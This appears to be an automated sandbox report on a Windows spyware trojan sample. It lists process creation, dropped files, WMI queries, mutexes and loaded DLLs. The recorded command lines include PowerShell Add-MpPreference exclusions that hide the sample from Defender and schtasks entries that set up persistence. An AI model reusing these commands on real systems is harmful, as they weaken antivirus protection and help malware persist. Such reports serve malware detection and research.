Source: 0.2.I5pvP0CU6M.exe.7880000.6.raw.unpack, xJpQPIrqp0EqOJe24h.cs	Security API names: _0020.SetAccessControl
Source: 0.2.I5pvP0CU6M.exe.7880000.6.raw.unpack, xJpQPIrqp0EqOJe24h.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.2.I5pvP0CU6M.exe.7880000.6.raw.unpack, xJpQPIrqp0EqOJe24h.cs	Security API names: _0020.AddAccessRule

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@23/103@1/1

Source: C:\Users\user\Desktop\I5pvP0CU6M.exe

File created: C:\Users\user\AppData\Roaming\VcihjWRO.exe

Jump to behavior

Source: C:\Users\user\AppData\Roaming\VcihjWRO.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4900:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2760:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3416:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7480:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7588:120:WilError_03
Source: C:\Users\user\AppData\Roaming\VcihjWRO.exe	Mutant created: \Sessions\1\BaseNamedObjects\WUAHQdDyeTGYRKlWZxfOxFZaJzJ
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5552:120:WilError_03

Source: C:\Users\user\Desktop\I5pvP0CU6M.exe

File created: C:\Users\user\AppData\Local\Temp\tmp4733.tmp

Jump to behavior

Source: I5pvP0CU6M.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: I5pvP0CU6M.exe

Static file information: TRID: Win32 Executable (generic) Net Framework (10011505/4) 50.01%

Source: C:\Users\user\Desktop\I5pvP0CU6M.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Process Where SessionId='1'
Source: C:\Users\user\Desktop\I5pvP0CU6M.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Process Where SessionId='1'
Source: C:\Users\user\Desktop\I5pvP0CU6M.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\VcihjWRO.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\VcihjWRO.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Process Where SessionId='1'
Source: C:\Users\user\AppData\Roaming\VcihjWRO.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Process Where SessionId='1'

Source: C:\Users\user\Desktop\I5pvP0CU6M.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\I5pvP0CU6M.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: I5pvP0CU6M.exe, 00000009.00000002.2325569956.0000000002F7B000.00000004.00000800.00020000.00000000.sdmp, I5pvP0CU6M.exe, 00000009.00000002.2325569956.0000000002FF1000.00000004.00000800.00020000.00000000.sdmp, I5pvP0CU6M.exe, 00000009.00000002.2325569956.0000000003067000.00000004.00000800.00020000.00000000.sdmp, tmp5F71.tmp.9.dr, tmp2B8.tmp.17.dr, tmp53D5.tmp.17.dr, tmpF22E.tmp.9.dr, tmp3B4E.tmp.17.dr, tmpF23E.tmp.9.dr, tmp8E21.tmp.17.dr, tmp3B5E.tmp.17.dr, tmp5F4E.tmp.9.dr, tmpBB6C.tmp.9.dr, tmpBB5B.tmp.9.dr, tmp2A7.tmp.17.dr, tmpF22D.tmp.9.dr, tmp5F82.tmp.9.dr, tmp5F5F.tmp.9.dr, tmp8E34.tmp.17.dr, tmp8E22.tmp.17.dr, tmp5F4F.tmp.9.dr, tmp296.tmp.17.dr, tmp2B7.tmp.17.dr, tmp5F70.tmp.9.dr, tmpBB5C.tmp.9.dr, tmp8E11.tmp.17.dr, tmp8E33.tmp.17.dr

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: I5pvP0CU6M.exe	ReversingLabs: Detection: 68%
Source: I5pvP0CU6M.exe	Virustotal: Detection: 65%

Source: C:\Users\user\Desktop\I5pvP0CU6M.exe

File read: C:\Users\user\Desktop\I5pvP0CU6M.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\I5pvP0CU6M.exe "C:\Users\user\Desktop\I5pvP0CU6M.exe"
Source: C:\Users\user\Desktop\I5pvP0CU6M.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\I5pvP0CU6M.exe"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\I5pvP0CU6M.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\VcihjWRO.exe"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\I5pvP0CU6M.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\VcihjWRO" /XML "C:\Users\user\AppData\Local\Temp\tmp4733.tmp"
Source: C:\Windows\SysWOW64\schtasks.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\I5pvP0CU6M.exe	Process created: C:\Users\user\Desktop\I5pvP0CU6M.exe "C:\Users\user\Desktop\I5pvP0CU6M.exe"
Source: C:\Users\user\Desktop\I5pvP0CU6M.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Users\user\AppData\Roaming\VcihjWRO.exe C:\Users\user\AppData\Roaming\VcihjWRO.exe
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\wbem\WmiPrvSE.exe C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
Source: C:\Users\user\AppData\Roaming\VcihjWRO.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\VcihjWRO" /XML "C:\Users\user\AppData\Local\Temp\tmp7075.tmp"
Source: C:\Windows\SysWOW64\schtasks.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Roaming\VcihjWRO.exe	Process created: C:\Users\user\AppData\Roaming\VcihjWRO.exe "C:\Users\user\AppData\Roaming\VcihjWRO.exe"
Source: C:\Users\user\AppData\Roaming\VcihjWRO.exe	Process created: C:\Users\user\AppData\Roaming\VcihjWRO.exe "C:\Users\user\AppData\Roaming\VcihjWRO.exe"
Source: C:\Users\user\AppData\Roaming\VcihjWRO.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\I5pvP0CU6M.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\I5pvP0CU6M.exe"	Jump to behavior
Source: C:\Users\user\Desktop\I5pvP0CU6M.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\VcihjWRO.exe"	Jump to behavior
Source: C:\Users\user\Desktop\I5pvP0CU6M.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\VcihjWRO" /XML "C:\Users\user\AppData\Local\Temp\tmp4733.tmp"	Jump to behavior
Source: C:\Users\user\Desktop\I5pvP0CU6M.exe	Process created: C:\Users\user\Desktop\I5pvP0CU6M.exe "C:\Users\user\Desktop\I5pvP0CU6M.exe"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\VcihjWRO.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\VcihjWRO" /XML "C:\Users\user\AppData\Local\Temp\tmp7075.tmp"
Source: C:\Users\user\AppData\Roaming\VcihjWRO.exe	Process created: C:\Users\user\AppData\Roaming\VcihjWRO.exe "C:\Users\user\AppData\Roaming\VcihjWRO.exe"
Source: C:\Users\user\AppData\Roaming\VcihjWRO.exe	Process created: C:\Users\user\AppData\Roaming\VcihjWRO.exe "C:\Users\user\AppData\Roaming\VcihjWRO.exe"

Source: C:\Users\user\Desktop\I5pvP0CU6M.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\I5pvP0CU6M.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\I5pvP0CU6M.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\I5pvP0CU6M.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\I5pvP0CU6M.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\I5pvP0CU6M.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\I5pvP0CU6M.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\I5pvP0CU6M.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\I5pvP0CU6M.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\I5pvP0CU6M.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\I5pvP0CU6M.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\I5pvP0CU6M.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\I5pvP0CU6M.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\I5pvP0CU6M.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\I5pvP0CU6M.exe	Section loaded: dwrite.dll	Jump to behavior
Source: C:\Users\user\Desktop\I5pvP0CU6M.exe	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Users\user\Desktop\I5pvP0CU6M.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\I5pvP0CU6M.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\I5pvP0CU6M.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\I5pvP0CU6M.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\I5pvP0CU6M.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\Desktop\I5pvP0CU6M.exe	Section loaded: iconcodecservice.dll	Jump to behavior
Source: C:\Users\user\Desktop\I5pvP0CU6M.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\I5pvP0CU6M.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\I5pvP0CU6M.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\I5pvP0CU6M.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\I5pvP0CU6M.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\I5pvP0CU6M.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\I5pvP0CU6M.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\I5pvP0CU6M.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\I5pvP0CU6M.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\I5pvP0CU6M.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\I5pvP0CU6M.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\I5pvP0CU6M.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\I5pvP0CU6M.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\I5pvP0CU6M.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\I5pvP0CU6M.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\I5pvP0CU6M.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\I5pvP0CU6M.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\I5pvP0CU6M.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\I5pvP0CU6M.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\I5pvP0CU6M.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\I5pvP0CU6M.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\I5pvP0CU6M.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\I5pvP0CU6M.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\I5pvP0CU6M.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\I5pvP0CU6M.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\I5pvP0CU6M.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\I5pvP0CU6M.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\I5pvP0CU6M.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\I5pvP0CU6M.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\I5pvP0CU6M.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Users\user\Desktop\I5pvP0CU6M.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\I5pvP0CU6M.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\I5pvP0CU6M.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\I5pvP0CU6M.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\I5pvP0CU6M.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\I5pvP0CU6M.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Users\user\Desktop\I5pvP0CU6M.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\Desktop\I5pvP0CU6M.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\I5pvP0CU6M.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\I5pvP0CU6M.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\I5pvP0CU6M.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\I5pvP0CU6M.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Users\user\Desktop\I5pvP0CU6M.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\I5pvP0CU6M.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\I5pvP0CU6M.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\I5pvP0CU6M.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\I5pvP0CU6M.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\I5pvP0CU6M.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\I5pvP0CU6M.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\I5pvP0CU6M.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\I5pvP0CU6M.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\I5pvP0CU6M.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\Desktop\I5pvP0CU6M.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\I5pvP0CU6M.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\I5pvP0CU6M.exe	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Users\user\Desktop\I5pvP0CU6M.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\VcihjWRO.exe	Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Roaming\VcihjWRO.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Roaming\VcihjWRO.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Roaming\VcihjWRO.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Roaming\VcihjWRO.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\AppData\Roaming\VcihjWRO.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Roaming\VcihjWRO.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Roaming\VcihjWRO.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Roaming\VcihjWRO.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Roaming\VcihjWRO.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Roaming\VcihjWRO.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Roaming\VcihjWRO.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Roaming\VcihjWRO.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Roaming\VcihjWRO.exe	Section loaded: dwrite.dll
Source: C:\Users\user\AppData\Roaming\VcihjWRO.exe	Section loaded: windowscodecs.dll
Source: C:\Users\user\AppData\Roaming\VcihjWRO.exe	Section loaded: amsi.dll
Source: C:\Users\user\AppData\Roaming\VcihjWRO.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Roaming\VcihjWRO.exe	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Roaming\VcihjWRO.exe	Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Roaming\VcihjWRO.exe	Section loaded: textshaping.dll
Source: C:\Users\user\AppData\Roaming\VcihjWRO.exe	Section loaded: iconcodecservice.dll
Source: C:\Users\user\AppData\Roaming\VcihjWRO.exe	Section loaded: propsys.dll
Source: C:\Users\user\AppData\Roaming\VcihjWRO.exe	Section loaded: edputil.dll
Source: C:\Users\user\AppData\Roaming\VcihjWRO.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Roaming\VcihjWRO.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Roaming\VcihjWRO.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Roaming\VcihjWRO.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Roaming\VcihjWRO.exe	Section loaded: windows.staterepositoryps.dll
